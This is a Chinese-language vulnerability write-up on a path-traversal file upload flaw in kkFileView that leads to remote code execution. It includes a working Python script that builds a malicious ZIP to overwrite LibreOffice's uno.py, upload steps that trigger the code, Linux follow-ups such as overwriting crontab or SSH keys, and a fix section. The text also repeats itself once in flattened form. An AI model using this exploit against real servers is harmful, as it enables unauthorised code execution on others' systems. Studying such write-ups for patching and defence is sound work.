kkFileView任意文件上传
字数 990 2025-08-19 12:42:18

kkFileView任意文件上传漏洞分析与利用教学

0x01 漏洞简介

kkFileView是一个开源的在线文件预览解决方案,支持多种文件格式。在4.2.0到4.4.0-beta版本中存在一个严重的任意文件上传漏洞,攻击者可以通过上传特制的ZIP压缩包覆盖系统文件,最终实现远程代码执行(RCE)。

0x02 漏洞影响范围

  • 受影响版本:4.2.0 <= kkFileView <= v4.4.0-beta
  • 安全版本:高于v4.4.0-beta的版本

0x03 环境搭建

  1. 从GitHub下载v4.3.0版本源码:

    https://github.com/kekingcn/kkFileView/releases
    
  2. 使用IDEA打开项目并加载依赖

  3. 编译安装包(可能遇到编译错误,使用以下命令忽略测试):

    mvn install -Dmaven.test.skip=true
    
  4. 解压生成的zip包,进入bin目录

  5. 运行startup.bat启动服务

0x04 漏洞原理分析

漏洞位于cn.keking.service.impl.CompressFilePreviewImpl#filePreviewHandle中的compressFileReader.unRar方法。

关键问题点:

  • 在处理ZIP文件时,系统获取了ZIP的绝对路径
  • 从ZIP中提取文件时,未对文件名进行任何过滤
  • 攻击者可以通过路径穿越(../../)覆盖任意系统文件

关键代码片段:

OutputStream out = new FileOutputStream(extractPath + folderName + "_" + File.separator + str[0], true);

0x05 漏洞复现步骤

Windows系统RCE利用

  1. 构造恶意ZIP文件(Python示例):
import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'hackBy0Fs47'
        binary2 = b"\nimport os\nos.system('calc')"
        
        with zipfile.ZipFile("testBy0Fs47.zip", "a", zipfile.ZIP_DEFLATED) as zipFile:
            zipFile.writestr("0Fs47Test.txt", binary1)
            zipFile.writestr("../../LibreOfficePortable/App/libreoffice/program/uno.py", binary2)
            
    except IOError as e:
        raise e
  1. 上传生成的ZIP文件并点击预览

  2. 恶意代码会写入uno.py文件(kkFileView使用LibreOffice进行odt转pdf时会调用此文件)

  3. 上传任意odt文件并点击预览,系统将执行calc命令(计算器弹出)

Linux系统RCE利用

在Linux系统上,可以通过以下方式实现RCE:

  1. 覆盖系统关键文件(如crontab)
  2. 写入SSH公钥实现未授权访问
  3. 覆盖其他可被服务调用的脚本文件

0x06 修复方案

  1. 官方修复:升级到最新版本(高于v4.4.0-beta)
  2. 临时缓解措施:
    • 限制上传文件类型
    • 对解压文件名进行严格过滤,防止路径穿越
    • 设置解压目录为隔离环境

0x07 参考资源

  • GitHub POC示例:
    https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC?tab=readme-ov-file
    

0x08 总结

该漏洞利用简单但危害严重,攻击者可以通过上传特制ZIP文件覆盖系统关键文件实现远程代码执行。建议所有使用kkFileView的用户立即检查版本并升级到安全版本。

kkFileView任意文件上传漏洞分析与利用教学 0x01 漏洞简介 kkFileView是一个开源的在线文件预览解决方案,支持多种文件格式。在4.2.0到4.4.0-beta版本中存在一个严重的任意文件上传漏洞,攻击者可以通过上传特制的ZIP压缩包覆盖系统文件,最终实现远程代码执行(RCE)。 0x02 漏洞影响范围 受影响版本:4.2.0 <= kkFileView <= v4.4.0-beta 安全版本:高于v4.4.0-beta的版本 0x03 环境搭建 从GitHub下载v4.3.0版本源码: 使用IDEA打开项目并加载依赖 编译安装包(可能遇到编译错误,使用以下命令忽略测试): 解压生成的zip包,进入bin目录 运行startup.bat启动服务 0x04 漏洞原理分析 漏洞位于 cn.keking.service.impl.CompressFilePreviewImpl#filePreviewHandle 中的 compressFileReader.unRar 方法。 关键问题点: 在处理ZIP文件时,系统获取了ZIP的绝对路径 从ZIP中提取文件时,未对文件名进行任何过滤 攻击者可以通过路径穿越( ../../ )覆盖任意系统文件 关键代码片段: 0x05 漏洞复现步骤 Windows系统RCE利用 构造恶意ZIP文件(Python示例): 上传生成的ZIP文件并点击预览 恶意代码会写入 uno.py 文件(kkFileView使用LibreOffice进行odt转pdf时会调用此文件) 上传任意odt文件并点击预览,系统将执行 calc 命令(计算器弹出) Linux系统RCE利用 在Linux系统上,可以通过以下方式实现RCE: 覆盖系统关键文件(如crontab) 写入SSH公钥实现未授权访问 覆盖其他可被服务调用的脚本文件 0x06 修复方案 官方修复:升级到最新版本(高于v4.4.0-beta) 临时缓解措施: 限制上传文件类型 对解压文件名进行严格过滤,防止路径穿越 设置解压目录为隔离环境 0x07 参考资源 GitHub POC示例: 0x08 总结 该漏洞利用简单但危害严重,攻击者可以通过上传特制ZIP文件覆盖系统关键文件实现远程代码执行。建议所有使用kkFileView的用户立即检查版本并升级到安全版本。